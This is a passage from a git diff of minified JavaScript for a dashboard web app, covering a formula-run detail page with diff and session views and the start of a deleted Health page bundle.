r.join("")},t.prototype.patch_fromText=function(n){var r=[];if(!n)return r;for(var s=n.split(`
-`),a=0,i=/^@@ -(\d+),?(\d*) \+(\d+),?(\d*) @@$/;a<s.length;){var u=s[a].match(i);if(!u)throw new Error("Invalid patch string: "+s[a]);var o=new t.patch_obj;for(r.push(o),o.start1=parseInt(u[1],10),u[2]===""?(o.start1--,o.length1=1):u[2]=="0"?o.length1=0:(o.start1--,o.length1=parseInt(u[2],10)),o.start2=parseInt(u[3],10),u[4]===""?(o.start2--,o.length2=1):u[4]=="0"?o.length2=0:(o.start2--,o.length2=parseInt(u[4],10)),a++;a<s.length;){var c=s[a].charAt(0);try{var l=decodeURI(s[a].substring(1))}catch{throw new Error("Illegal escape in patch_fromText: "+l)}if(c=="-")o.diffs.push(new t.Diff(-1,l));else if(c=="+")o.diffs.push(new t.Diff(1,l));else if(c==" ")o.diffs.push(new t.Diff(0,l));else{if(c=="@")break;if(c!=="")throw new Error('Invalid patch mode "'+c+'" in: '+l)}a++}}return r},(t.patch_obj=function(){this.diffs=[],this.start1=null,this.start2=null,this.length1=0,this.length2=0}).prototype.toString=function(){for(var n,r=["@@ -"+(this.length1===0?this.start1+",0":this.length1==1?this.start1+1:this.start1+1+","+this.length1)+" +"+(this.length2===0?this.start2+",0":this.length2==1?this.start2+1:this.start2+1+","+this.length2)+` @@
-`],s=0;s<this.diffs.length;s++){switch(this.diffs[s][0]){case 1:n="+";break;case-1:n="-";break;case 0:n=" "}r[s+1]=n+encodeURI(this.diffs[s][1])+`
-`}return r.join("").replace(/%20/g," ")},e.exports=t,e.exports.diff_match_patch=t,e.exports.DIFF_DELETE=-1,e.exports.DIFF_INSERT=1,e.exports.DIFF_EQUAL=0}));En.DIFF_EQUAL;En.DIFF_DELETE;En.DIFF_INSERT;function Ko({diff:e}){switch(e.kind){case"path_unknown":return d.jsxs("div",{className:"space-y-1",children:[d.jsx("p",{className:"text-body text-fg-muted italic",children:"No diff available for this run."}),d.jsx("p",{className:"text-label text-fg-faint",children:"The run did not record a work_dir, so there is no work tree to compare."})]});case"not_git":return d.jsx("p",{className:"text-body text-fg-muted italic",children:"Execution folder is not a git work tree."});case"error":return d.jsx("p",{className:"text-body text-accent",role:"alert",children:e.error});case"ok":return d.jsx(Uo,{diff:e})}}function Uo({diff:e}){const t=A.useMemo(()=>Vo(e.patch),[e.patch]);return d.jsxs("section",{children:[d.jsxs("div",{className:"flex items-baseline justify-between gap-4 flex-wrap",children:[d.jsx("h3",{className:"text-body font-semibold text-fg",children:"Local Changes"}),d.jsxs("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:[e.changedFiles.length," changed file",e.changedFiles.length===1?"":"s"]})]}),e.rootPath.kind==="known"&&d.jsx("p",{className:"mt-1 text-label text-fg-faint break-all",children:e.rootPath.path}),d.jsx("p",{className:"mt-2 text-label uppercase tracking-wider text-fg-muted",children:Zo(e.comparison)}),t.length===0?d.jsx("p",{className:"mt-5 text-body text-fg-muted italic",children:"No renderable patch in this work tree."}):d.jsx("div",{className:"formula-run-diff-view mt-5 space-y-3",children:t.map(n=>d.jsx(Ho,{file:n},`${n.oldRevision}:${n.newRevision}:${ur(n)}`))}),e.truncated&&d.jsx("p",{className:"mt-3 text-label uppercase tracking-wider text-fg-faint",children:"Diff truncated at the backend output cap."})]})}function Ho({file:e}){const t=Xo(e.hunks);return d.jsxs("details",{className:"border-y border-rule py-2",open:!0,children:[d.jsxs("summary",{className:"cursor-pointer list-none text-label uppercase tracking-wider text-fg-muted",children:[d.jsx("span",{className:"font-medium normal-case tracking-normal text-body text-fg",children:ur(e)}),d.jsxs("span",{className:"ml-3 tnum text-fg-faint",children:["+",t.additions," -",t.deletions]})]}),e.hunks.length===0||e.isBinary?d.jsx("p",{className:"mt-3 text-body text-fg-muted italic",children:"No textual hunks."}):d.jsx("div",{className:"mt-3 overflow-auto",children:d.jsx(zo,{viewType:"unified",diffType:e.type,hunks:e.hunks,renderGutter:Wo,children:n=>n.map(r=>d.jsx(or,{hunk:r},Jo(r)))})})]})}function Vo(e){if(e.trim().length===0)return[];try{return Sa(e,{nearbySequences:"zip"})}catch{return[]}}function Wo({change:e,side:t,renderDefault:n}){return e.type==="insert"&&t==="old"?d.jsx("span",{className:"diff-gutter-sign","aria-hidden":!0,children:"+"}):e.type==="delete"&&t==="new"?d.jsx("span",{className:"diff-gutter-sign","aria-hidden":!0,children:"-"}):n()}function Zo(e){return e.kind==="upstream"?`Compared with ${e.ref} at ${e.mergeBase.slice(0,12)}.`:e.kind==="head"&&e.reason==="no_upstream"?"No upstream branch is configured; showing changes relative to HEAD plus untracked files.":e.kind==="head"?"Upstream comparison failed; showing changes relative to HEAD plus untracked files.":"Comparison unavailable."}function ur(e){const t=mt(e.oldPath),n=mt(e.newPath);return e.type==="delete"?t:e.type==="rename"&&t!==n?`${t} -> ${n}`:n||t}function mt(e){return e.replace(/^[ab]\//,"")}function Xo(e){let t=0,n=0;for(const r of e)for(const s of r.changes)s.type==="insert"&&(t+=1),s.type==="delete"&&(n+=1);return{additions:t,deletions:n}}function Jo(e){return`${e.oldStart}:${e.newStart}:${e.content}`}function Yo({node:e,visible:t}){const n=A.useMemo(()=>e?.executionInstances.sort(ze)??[],[e]),r=A.useMemo(()=>nu(n),[n]),[s,a]=A.useState(null);if(A.useEffect(()=>{a(r?U(r):null)},[e?.id,r]),!e)return d.jsx("p",{className:"text-body text-fg-muted italic",children:"Select a node to inspect its session."});if(n.length===0)return d.jsx("p",{className:"text-body text-fg-muted italic",children:pt(e)});const i=n.find(l=>U(l)===s)??r??n[0],u=i?Se(i):"base",o=tu(n),c=n.filter(l=>Se(l)===u);return i?d.jsxs("section",{children:[d.jsxs("div",{className:"flex items-baseline justify-between gap-4",children:[d.jsx("h3",{className:"text-body font-semibold text-fg",children:e.title}),(e.historicalOnly||i?.historical)&&d.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint",children:e.historicalOnly?"historical-only":"historical"})]}),o.length>1&&d.jsxs("div",{className:"mt-3 flex flex-wrap items-baseline gap-x-2 gap-y-1 text-label",role:"radiogroup","aria-label":"Iterations",children:[d.jsx("span",{className:"uppercase tracking-wider text-fg-faint",children:"Iterations"}),o.map(l=>{const f=l.instances.at(-1);if(!f)return null;const h=l.iteration==="base"?"Base":`Iteration ${l.iteration}`,g=l.iteration===u;return d.jsxs("span",{className:"flex items-baseline gap-1",children:[d.jsx("span",{"aria-hidden":!0,className:"text-fg-faint",children:"·"}),d.jsx("button",{type:"button",role:"radio","aria-checked":g,className:`focus-mark rounded-sm px-0.5 uppercase tracking-wider ${g?"text-fg font-semibold underline decoration-fg underline-offset-4":"text-fg-muted hover:text-fg"}`,onClick:()=>a(U(f)),children:h})]},h)})]}),c.length>1&&d.jsxs("div",{className:"mt-2 flex flex-wrap items-baseline gap-x-2 gap-y-1 text-label",role:"radiogroup","aria-label":"Attempts",children:[d.jsx("span",{className:"uppercase tracking-wider text-fg-faint",children:"Attempts"}),c.map(l=>d.jsxs("span",{className:"flex items-baseline gap-1",children:[d.jsx("span",{"aria-hidden":!0,className:"text-fg-faint",children:"·"}),d.jsxs("button",{type:"button",role:"radio","aria-checked":U(l)===U(i),className:`focus-mark rounded-sm px-0.5 uppercase tracking-wider ${U(l)===U(i)?"text-fg font-semibold underline decoration-fg underline-offset-4":"text-fg-muted hover:text-fg"}`,onClick:()=>a(U(l)),children:["Attempt ",fn(l)]})]},U(l)))]}),d.jsxs("dl",{className:"mt-4 grid grid-cols-[max-content_minmax(0,1fr)] gap-x-3 gap-y-1 text-label",children:[d.jsx("dt",{className:"uppercase tracking-wider text-fg-faint",children:"Execution instance"}),d.jsx("dd",{className:"break-all text-fg-muted tnum",children:i.id}),d.jsx("dt",{className:"uppercase tracking-wider text-fg-faint",children:"Bead"}),d.jsx("dd",{className:"break-all text-fg-muted tnum",children:i.beadId})]}),d.jsx(Qo,{instance:i,visible:t})]}):d.jsx("p",{className:"text-body text-fg-muted italic",children:pt(e)})}function Qo({instance:e,visible:t}){const n=e.session.kind==="attached"?e.session:null,r=n?.link.sessionId??null,s=t&&!!n?.streamable,a=Br(r,s);if(n===null)return d.jsx("p",{className:"mt-5 text-body text-fg-muted italic",children:eu(e)});const i=qo(a.stream),u=a.status==="loading",o=a.status==="ready"?a.result:null,c=a.status==="failed"?a.error:null,l=a.status==="ready"&&a.stream.status==="degraded"?a.stream.error:null;return d.jsxs("div",{className:"mt-5 space-y-4",children:[n?.streamable&&d.jsx("div",{className:"flex justify-end",children:d.jsx(_r,{tone:i.tone,label:i.label,title:`Session stream: ${a.stream.status}`,className:"text-label uppercase tracking-wider"})}),l!==null&&d.jsx("p",{className:"text-accent",role:"alert",children:l}),d.jsx(Gr,{loading:u,error:c,result:o})]})}function qo(e){switch(e.status){case"open":return{tone:"ok",label:"live"};case"connecting":return{tone:"warn",label:"connecting"};case"closed":return{tone:"stuck",label:"offline"};case"degraded":return{tone:"warn",label:"degraded"};case"idle":return{tone:"neutral",label:"snapshot"}}}function pt(e){const t=e.executionInstances.filter(r=>r.session.kind==="none");return t.some(r=>r.currentIteration&&r.session.kind==="none"&&r.session.reason==="session_unresolved"&&cr(r.status))?"Session unresolved for the current running node.":t.some(r=>r.session.kind==="none"&&r.session.reason==="session_unresolved")?"Session unresolved for this node.":"This node has not started a session yet."}function eu(e){return e.session.kind==="attached"?"":e.currentIteration&&e.session.reason==="session_unresolved"&&cr(e.status)?"Session unresolved for the current running node.":e.session.reason==="session_unresolved"?"Session unresolved for this node.":"This node has not started a session yet."}function cr(e){return e==="active"||e==="running"}function nu(e){return e.find(t=>t.session.kind==="attached"&&t.session.streamable)??[...e].filter(t=>t.session.kind==="attached").sort(ze).at(-1)??[...e].sort(ze).at(-1)}function tu(e){const t=new Map;for(const n of e){const r=Se(n);t.set(r,[...t.get(r)??[],n])}return[...t.entries()].map(([n,r])=>({iteration:n,instances:r.sort(ze)})).sort((n,r)=>Ke(n.iteration)-Ke(r.iteration))}function ze(e,t){return Ke(Se(e))-Ke(Se(t))||fn(e)-fn(t)||e.id.localeCompare(t.id)}function U(e){return e.id}function Se(e){return e.iteration.kind==="loop"?e.iteration.value:"base"}function Ke(e){return e==="base"?0:e}function fn(e){return e.attempt.kind==="attempt"?e.attempt.value:1}function ru({tab:e,diff:t,selectedNode:n}){return e==="session"?d.jsx(Yo,{node:n,visible:!0}):d.jsx(su,{diff:t})}function su({diff:e}){switch(e.kind){case"idle":return d.jsx("p",{className:"text-body text-fg-muted italic",children:"Local changes are not loaded for this run."});case"loading":return d.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading local changes."});case"failed":return d.jsx("p",{className:"text-body text-accent",role:"alert",children:e.error});case"ready":return d.jsxs(d.Fragment,{children:[e.refreshState.kind==="failed"&&d.jsx("p",{className:"mb-4 text-body text-accent",role:"alert",children:e.refreshState.error}),e.refreshState.kind==="refreshing"&&d.jsx("p",{className:"mb-4 text-label uppercase tracking-wider text-fg-faint",role:"status",children:"Refreshing local changes"}),d.jsx(Ko,{diff:e.diff})]})}}function au({diff:e,selectedNode:t}){const[n,r]=A.useState("diff"),s=`run-evidence-tab-${n}`;return d.jsxs("section",{"aria-label":"Run evidence",children:[d.jsxs("div",{className:"flex items-baseline gap-2 text-label",role:"tablist","aria-label":"Run evidence views",children:[d.jsx(vt,{id:"run-evidence-tab-diff",controls:"run-evidence-panel",active:n==="diff",onClick:()=>r("diff"),children:"Diff"}),d.jsx("span",{"aria-hidden":!0,className:"text-fg-faint",children:"·"}),d.jsx(vt,{id:"run-evidence-tab-session",controls:"run-evidence-panel",active:n==="session",onClick:()=>r("session"),children:"Session"})]}),d.jsx("div",{id:"run-evidence-panel",role:"tabpanel","aria-labelledby":s,className:"pt-5",children:d.jsx(ru,{tab:n,diff:e,selectedNode:t})})]})}function vt({id:e,controls:t,active:n,disabled:r=!1,onClick:s,children:a}){return d.jsx("button",{id:e,type:"button",role:"tab","aria-selected":n,"aria-controls":t,"aria-disabled":r||void 0,disabled:r,className:`focus-mark rounded-sm px-0.5 uppercase tracking-wider ${r?"cursor-not-allowed text-fg-faint":n?"text-fg font-semibold underline decoration-fg underline-offset-4":"text-fg-muted hover:text-fg"}`,onClick:s,children:a})}function iu(e,t){const n=e.runIds.size===0||e.runIds.has(t.runId),r=e.rootBeadIds.size===0||e.rootBeadIds.has(t.rootBeadId);return n&&r}function ou(e){const t={runIds:new Set,rootBeadIds:new Set};return J(e,t),J(x(e.run),t),J(x(e.payload),t),J(x(x(e.payload)?.run),t),J(x(e.bead),t),J(x(x(e.payload)?.bead),t),J(x(e.root),t),J(x(x(e.payload)?.root),t),dn(x(e.metadata),t),dn(x(x(e.payload)?.metadata),t),t}function J(e,t){e&&(H(t.runIds,e.run_id),H(t.runIds,e.workflow_id),H(t.rootBeadIds,e.root_bead_id),dn(x(e.metadata),t))}function dn(e,t){e&&(H(t.runIds,e["gc.run_id"]),H(t.runIds,e["gc.workflow_id"]),H(t.runIds,e.run_id),H(t.runIds,e.workflow_id),H(t.rootBeadIds,e["gc.root_bead_id"]),H(t.rootBeadIds,e.root_bead_id))}function H(e,t){if(typeof t!="string")return;const n=t.trim();n&&e.add(n)}function x(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)?e:void 0}function uu(e,t,n){const[r,s]=A.useState({nodeId:null,routeKey:"",source:"route"});A.useEffect(()=>{if(!e)return;const c=cu(e,t);s(l=>l.routeKey===n&&(l.source==="user"||l.nodeId===c)?l:{nodeId:c,routeKey:n,source:"route"})},[e,n,t]);const a=A.useCallback(()=>{s(c=>({nodeId:null,routeKey:c.routeKey,source:"user"}))},[]);A.useEffect(()=>{const c=l=>{l.key==="Escape"&&a()};return window.addEventListener("keydown",c),()=>window.removeEventListener("keydown",c)},[a]);const i=A.useCallback(c=>{s(l=>({nodeId:l.nodeId===c?null:c,routeKey:n,source:"user"}))},[n]),u=r.nodeId,o=A.useMemo(()=>e?.nodes.find(c=>c.id===u)??null,[e,u]);return{selectedNodeId:u,selectedNode:o,toggleNode:i,clearSelection:a}}function cu(e,t){return t&&e.nodes.some(n=>n.id===t)?t:null}const lu=6e4;async function fu(e,t,n){const r=wr("load supervisor formula run detail"),s=bu(t,n),a=kr(lu),i=St(),[u,o]=await Promise.all([Sr(()=>a.workflowRun(r,e,s)),du(r)]),c=gu(u),l=await hu(i,r,c,s),f=ta(c,{sessions:o.sessions,formulaDetailState:l.state,...l.kind==="available"?{formulaDetail:l.detail}:{}}),h=[...f.completeness.kind==="partial"?f.completeness.reasons:[],...o.kind==="unavailable"?["session_list_failed"]:[],...l.kind==="unavailable"?[pu(l.state.reason)]:[]];return{...f,completeness:Ft(h)}}async function du(e){try{const t=await St().listSessions(e);return{kind:"available",sessions:Nr(t)}}catch{return{kind:"unavailable",sessions:[]}}}async function hu(e,t,n,r){const s=n.beads?.find(o=>o.id===n.root_bead_id),a=hn("route",{root:s}),i=a.name??void 0,u=a.target??void 0;if(i===void 0)return{kind:"unavailable",state:{kind:"unavailable",reason:"missing_formula_metadata"}};if(u===void 0)return{kind:"unavailable",state:{kind:"unavailable",reason:"missing_run_target",name:i}};try{return{kind:"available",detail:mu(await e.formulaDetail(t,i,{target:u,...r??{}})),state:{kind:"available",name:i,target:u}}}catch(o){return{kind:"unavailable",state:{kind:"unavailable",reason:"fetch_failed",name:i,target:u,failure:vu(o)}}}}function gu(e){const t={run_id:e.workflow_id,root_bead_id:e.root_bead_id,root_store_ref:e.root_store_ref,resolved_root_store:e.resolved_root_store,scope_kind:e.scope_kind,scope_ref:e.scope_ref,snapshot_version:e.snapshot_version,partial:e.partial,stores_scanned:e.stores_scanned,beads:e.beads,deps:e.deps,logical_nodes:e.logical_nodes,logical_edges:e.logical_edges,scope_groups:e.scope_groups};return e.snapshot_event_seq!==void 0&&(t.snapshot_event_seq=e.snapshot_event_seq),t}function mu(e){const t={name:e.name},n={};return Array.isArray(e.preview.nodes)&&(n.nodes=e.preview.nodes),Array.isArray(e.preview.edges)&&(n.edges=e.preview.edges),(n.nodes!==void 0||n.edges!==void 0)&&(t.preview=n),Array.isArray(e.steps)&&(t.steps=e.steps),Array.isArray(e.deps)&&(t.deps=e.deps),t}function pu(e){switch(e){case"missing_formula_metadata":return"formula_detail_missing_formula_metadata";case"missing_run_target":return"formula_detail_missing_run_target";case"fetch_failed":return"formula_detail_fetch_failed"}}function vu(e){return e instanceof Nt&&e.status===404?"not_found":"upstream_error"}function bu(e,t){if(e===void 0&&t===void 0)return;const n={};return e!==void 0&&(n.scope_kind=e),t!==void 0&&(n.scope_ref=t),n}function yu(e,t,n){const r=Nu(e,t,n),{data:s,loading:a,error:i,refresh:u}=jt(r,()=>_u(e,t,n),{onError:o=>{e!==void 0&&Su("load detail",e,o)}});return e===void 0?{kind:"idle",refresh:wu}:s?.kind==="loaded"?{kind:"ready",detail:s.detail,refresh:u,refreshState:ku(a,i)}:s?.kind==="unsupported"?{kind:"unsupported",refresh:u}:s?.kind==="not_found"?{kind:"not_found",refresh:u}:i!==null?{kind:"failed",error:i,refresh:u}:{kind:"loading",refresh:u}}async function _u(e,t,n){if(!e)return{kind:"unrequested"};const r={};t!==void 0&&(r.scopeKind=t),n!==void 0&&(r.scopeRef=n);try{return{kind:"loaded",detail:await fu(e,r.scopeKind,r.scopeRef)}}catch(s){if(s instanceof oe&&s.reason==="not_run_view")return{kind:"unsupported"};if(s instanceof Nt&&s.status===404)return{kind:"not_found"};throw s}}async function wu(){}function ku(e,t){return t!==null?{kind:"failed",error:t}:e?{kind:"refreshing"}:{kind:"idle"}}function Su(e,t,n){It({component:"formula-run-detail",operation:e,message:`${t}: ${Ct(n)}`})}function Nu(e,t,n){return["formula-run",e??"missing",t??"default",n??"default"].map(encodeURIComponent).join(":")}function ju(e,t,n,r){const s=Eu(e,t,n,r),{data:a,loading:i,error:u,refresh:o}=jt(s,()=>bt(e,t,n,r),{refreshFetcher:()=>bt(e,t,n,r,!0),onError:c=>{e!==void 0&&Au("load diff",e,c)}});return e===void 0||t===void 0?{kind:"idle",refresh:Iu}:a?.kind==="loaded"?{kind:"ready",diff:a.diff,refresh:o,refreshState:Cu(i,u)}:u!==null?{kind:"failed",error:u,refresh:o}:{kind:"loading",refresh:o}}async function bt(e,t,n,r,s){if(!e||t===void 0)return{kind:"unrequested"};const a={};return n!==void 0&&(a.scopeKind=n),r!==void 0&&(a.scopeRef=r),s&&(a.refresh=!0),{kind:"loaded",diff:await jr.runDiff(e,{executionPath:t},a)}}async function Iu(){}function Cu(e,t){return t!==null?{kind:"failed",error:t}:e?{kind:"refreshing"}:{kind:"idle"}}function Au(e,t,n){It({component:"formula-run-detail",operation:e,message:`${t}: ${Ct(n)}`})}function Eu(e,t,n,r){return["formula-run-diff",e??"missing",Du(t),n??"default",r??"default"].join(":")}function Du(e){return e===void 0?"path:missing":e.kind==="known"?`path:${e.path}`:`path:${e.reason}`}const Tu=[On.bead,On.session],Ru=[],Mu=["completed","done","failed","skipped"],Ou=["pending","ready","running","active","blocked"];function rc(){const{runId:e}=Ir(),[t]=Cr(),n=Vu(t),r=n.ok?n.scope:void 0,s=n.ok?null:n.error,a=t.get("node"),i=[e??"",r?.scopeKind??"",r?.scopeRef??"",a??""].join("\0"),u=yu(s?void 0:e,r?.scopeKind,r?.scopeRef),o=u.kind==="ready"?u:null,c=o?.detail??null,l=u.kind==="unsupported",f=u.kind==="not_found",h=ju(s||c===null?void 0:e,c?.executionPath,r?.scopeKind,r?.scopeRef),g=u.kind==="loading",m=o!==null&&o.refreshState.kind==="refreshing"||h.kind==="ready"&&h.refreshState.kind==="refreshing",p=c!==null&&h.kind==="loading",v=g||m||p,y=u.kind==="failed"?u.error:o!==null&&o.refreshState.kind==="failed"?o.refreshState.error:null;Ar(s?Ru:Tu,()=>{yt(u.refresh,h.refresh)},{matches:P=>{if(c===null)return!1;const G=ou(P);return Pu(c.progress)&&$u(G)?!1:iu(G,{runId:c.runId,rootBeadId:c.rootBeadId})}});const _=s??y,{selectedNodeId:b,selectedNode:k,toggleNode:S}=uu(c,a,i),j=Pr(c?.rootBeadId??null),[N,I]=A.useState(null),C=Er(),E=Or(),[D]=A.useState(()=>Dr(`runs:summary:${E??"no-city"}`)),B=A.useMemo(()=>{if(!e)return null;const P=D&&D.status!=="error"?D.data:null;return P==null?null:[...P.lanes,...P.blockedLanes].find(G=>G.id===e)??null},[D,e]),M=c?`${c.progress.visibleNodeCount} nodes. ${Wu(c.progress)}. Local changes are shown for the run execution folder.`:g&&!s||l||f?void 0:"Formula run unavailable.";return d.jsxs("section",{children:[d.jsx($r,{title:c?.title??"Formula Run",synopsis:M,meta:d.jsxs(d.Fragment,{children:[d.jsx(Tr,{to:"/runs",className:"focus-mark text-label uppercase tracking-wider text-fg-muted hover:text-fg",children:"Runs"}),_&&c&&d.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:_}),c&&d.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:Bu(c)}),d.jsx(Rr,{size:"sm",onClick:()=>{yt(u.refresh,h.refresh)},disabled:v||!!s,children:m?"Refreshing":"Refresh"})]})}),v&&!s&&!c?B?d.jsxs(d.Fragment,{children:[d.jsx($n,{stages:B.stages,label:B.title}),d.jsx("p",{className:"text-body text-fg-muted italic mt-8",children:"Loading run detail."})]}):d.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading formula run."}):l?d.jsx("p",{className:"text-body text-fg-muted",role:"status",children:"Detailed step view isn’t available for this run (v1/wisp runs are list-only) — this run appears in the run list only."}):f?d.jsx("p",{className:"text-body text-fg-muted",role:"status",children:"This run’s detail snapshot was not found. It may be a v1/wisp run, a completed run whose snapshot wasn’t retained, or no longer available."}):_&&!c?d.jsx("p",{className:"text-body text-accent",role:"alert",children:_}):o?d.jsxs(d.Fragment,{children:[d.jsx(Fu,{detail:o.detail}),d.jsx($n,{stages:o.detail.stages,label:o.detail.title}),d.jsx(Lu,{detail:o.detail}),d.jsxs("div",{className:"mt-8 grid gap-10 lg:grid-cols-[minmax(0,0.95fr)_minmax(22rem,1.05fr)]",children:[d.jsx(fa,{detail:o.detail,selectedNodeId:b,onToggleNode:S}),d.jsx(au,{diff:h,selectedNode:k})]}),d.jsx(Fr,{view:j.view,loading:j.loading,error:j.error,now:C,onOpenBead:I}),d.jsx(xr,{open:N!==null,onClose:()=>I(null),beadId:N,onOpenBead:I})]}):null]})}async function yt(e,t){await Promise.all([e(),t()])}function $u(e){return e.runIds.size===0&&e.rootBeadIds.size===0}function Pu(e){return e.visibleNodeCount<=0||Ou.reduce((r,s)=>r+(e.statusCounts[s]??0),0)>0?!1:Mu.reduce((r,s)=>r+(e.statusCounts[s]??0),0)>=e.visibleNodeCount}function Fu({detail:e}){const t=Gu(e.formulaDetail);return d.jsxs("dl",{className:"grid gap-x-8 gap-y-3 sm:grid-cols-2 lg:grid-cols-4",children:[d.jsx(xu,{formula:e.formula}),t!==null&&d.jsx(de,{label:"Formula Detail",value:t}),d.jsx(de,{label:"Root",value:e.rootBeadId}),d.jsx(de,{label:"Scope",value:`${e.scopeKind}:${e.scopeRef}`}),d.jsx(de,{label:"Store",value:e.resolvedRootStore||e.rootStoreRef||"unknown"})]})}function de({label:e,value:t}){return d.jsxs("div",{children:[d.jsx("dt",{className:"text-label uppercase tracking-wider text-fg-faint",children:e}),d.jsx("dd",{className:"text-body text-fg break-all tnum",children:t})]})}const _t="name inferred from bead title — supervisor did not set gc.formula on this graph.v2 root";function xu({formula:e}){if(e.kind!=="known")return d.jsx(de,{label:"Formula",value:"metadata missing"});switch(e.source){case"metadata":return d.jsx(de,{label:"Formula",value:e.name});case"title_fallback":return d.jsxs("div",{children:[d.jsx("dt",{className:"text-label uppercase tracking-wider text-fg-faint",children:"Formula"}),d.jsxs("dd",{className:"text-body text-warn break-all tnum",title:_t,"aria-label":`${e.name} (${_t})`,children:[e.name,d.jsx("span",{className:"ml-2 text-label uppercase tracking-wider text-warn",children:"inferred from bead title"})]})]});default:return e.source}}function Bu(e){return e.snapshotEventSeq.kind==="known"?`v${e.snapshotVersion} · seq ${e.snapshotEventSeq.seq}`:`v${e.snapshotVersion}`}function Gu(e){return e.kind==="available"?`available for ${e.target}`:e.reason==="missing_formula_metadata"?null:e.reason==="missing_run_target"?`missing run target for ${e.name}`:`${e.failure} for ${e.target}`}function Lu({detail:e}){if(e.completeness.kind!=="partial")return null;const t=zu(e.completeness.reasons);return t.length===0?null:d.jsxs("p",{className:"mt-5 text-label uppercase tracking-wider text-warn",role:"status",children:["Partial run data: ",Uu(t),"."]})}function zu(e){return e.filter(t=>!Ku(t))}function Ku(e){switch(e){case"formula_detail_missing_formula_metadata":case"formula_detail_missing_run_target":case"formula_detail_fetch_failed":return!0;case"supervisor_snapshot_partial":case"runtime_bead_read_failed":case"session_list_failed":return!1}}function Uu(e){return e.map(Hu).join(", ")}function Hu(e){switch(e){case"supervisor_snapshot_partial":return"supervisor snapshot is partial";case"runtime_bead_read_failed":return"runtime bead refresh failed";case"session_list_failed":return"session list failed";case"formula_detail_missing_formula_metadata":return"formula metadata is missing";case"formula_detail_missing_run_target":return"formula run target is missing";case"formula_detail_fetch_failed":return"formula detail fetch failed"}}function Vu(e){const t=e.getAll("scope_kind"),n=e.getAll("scope_ref");if(t.length>1||n.length>1)return{ok:!1,error:"Invalid run scope query."};const r=t[0],s=n[0];return r===void 0&&s===void 0?{ok:!0}:r===void 0||s===void 0?{ok:!1,error:"Invalid run scope query."}:r!=="city"&&r!=="rig"?{ok:!1,error:"Invalid run scope query."}:Mr.test(s)?{ok:!0,scope:{scopeKind:r,scopeRef:s}}:{ok:!1,error:"Invalid run scope query."}}function Wu(e){const t=[ne(e,["active","running"],"running"),ne(e,["completed","done"],"done"),ne(e,"ready","ready"),ne(e,"blocked","blocked"),ne(e,"failed","failed"),ne(e,"skipped","skipped"),ne(e,"pending","pending")].filter(n=>n!==null);return t.length>0?t.join(", "):"No node status yet"}function ne(e,t,n){const s=(typeof t=="string"?[t]:t).reduce((a,i)=>a+(e.statusCounts[i]??0),0);return s>0?`${s} ${n}`:null}export{rc as FormulaRunDetailPage};
diff --git a/internal/api/dashboardspa/dist/assets/Health-BX_NsCAd.js b/internal/api/dashboardspa/dist/assets/Health-BX_NsCAd.js
deleted file mode 100644
index 4d218b23db..0000000000
--- a/internal/api/dashboardspa/dist/assets/Health-BX_NsCAd.js
+++ /dev/null
@@ -1 +0,0 @@
-import{a as Y,b as v,r as Z,j as t,B as ee,ab as y,z as E,S as V,I as F,a7 as te}from"./index-fZITW1u7.js";import{p as $,d as ae}from"./routeHighlight-B30gQO2o.js";import{P as se}from"./PageHeader-BLycRKkQ.js";import{u as le}from"./useVisibleRefresh-TxiorL5p.js";import{a as x}from"./format-fte2CeYD.js";import{a as ne}from"./time-D9v0saHV.js";const re=2500;function Ee(){const e=Y(),a=F(),s=v("health:system",ye),o=v(`health:supervisor:${a??"no-city"}`,_e),r=v(`health:status:${a??"no-city"}`,we),c=v("health:local-tools",Ne),b=v(`health:dolt-noms-trend:${a??"no-city"}`,Se),p=v(`health:rig-store:${a??"no-city"}`,ke),d=s.refresh,_=o.refresh,w=r.refresh,N=c.refresh,C=b.refresh,L=p.refresh,W=s.loading||o.loading||r.loading||c.loading||b.loading||p.loading,T=[s.error,o.error,r.error,c.error,b.error,p.error].filter(J=>J!==null).join("; ")||null,D=Z.useCallback(async()=>{await Promise.all([d(),_(),w(),N(),C(),L()])},[C,N,L,_,w,d]),m=s.data??null,n=m?.status==="available"?m.data:null,S=m?.status==="unavailable"?m.error:null,i=o.data??null,k=r.data??null,U=c.data??null,u=b.data??null,f=p.data??null,B=f?pe(f):void 0,R=m!==null||i!==null||k!==null||U!==null||u!==null||f!==null,M=n?He(n):void 0,q=$(e,"health",["health:supervisor-"]),Q=$(e,"health",["health:load-","health:memory-"]),X=$(e,"health",["health:dashboard-"]),G=$(e,"health",["health:dolt-noms-"]);return le(D,3e4),t.jsxs("section",{children:[t.jsx(se,{title:"Health",synopsis:R?$e(n,i):"Reading state from the supervisor.",meta:t.jsxs(t.Fragment,{children:[T&&t.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:T}),t.jsx(ee,{size:"sm",onClick:()=>{D()},children:W&&!R?"Loading":"Refresh"})]})}),R?t.jsxs("div",{className:"space-y-12",children:[t.jsx(h,{title:"Supervisor",attention:q,...i?{status:Re(i)}:{},children:i===null?t.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading supervisor state."}):i.status==="available"?t.jsxs(g,{children:[i.data.city!==void 0?t.jsx(l,{label:"City",value:i.data.city}):t.jsx(l,{label:"City",value:"not reported by supervisor",tone:"warn"}),i.data.version!==void 0?t.jsx(l,{label:"Version",value:i.data.version}):t.jsx(l,{label:"Version",value:"not reported by supervisor",tone:"warn"}),t.jsx(l,{label:"Uptime",value:j(i.data.uptime_sec)}),t.jsx(l,{label:"Status",value:i.data.status})]}):t.jsx("p",{className:"text-body text-accent",children:"Supervisor not reachable. The dashboard shell stays up; live data is stale."})}),t.jsx(h,{title:"Host",attention:Q,...M?{status:M}:{},children:m===null?t.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading dashboard host health."}):n===null?t.jsxs("p",{className:"text-body text-accent",children:["Dashboard host health unavailable",S?`: ${S}`:"","."]}):t.jsxs(g,{children:[t.jsx(l,{label:"CPUs",value:n.host.cpu_count.toString()}),t.jsx(l,{label:"Load (1m, 5m, 15m)",value:`${n.host.load_avg_1.toFixed(2)}, ${n.host.load_avg_5.toFixed(2)}, 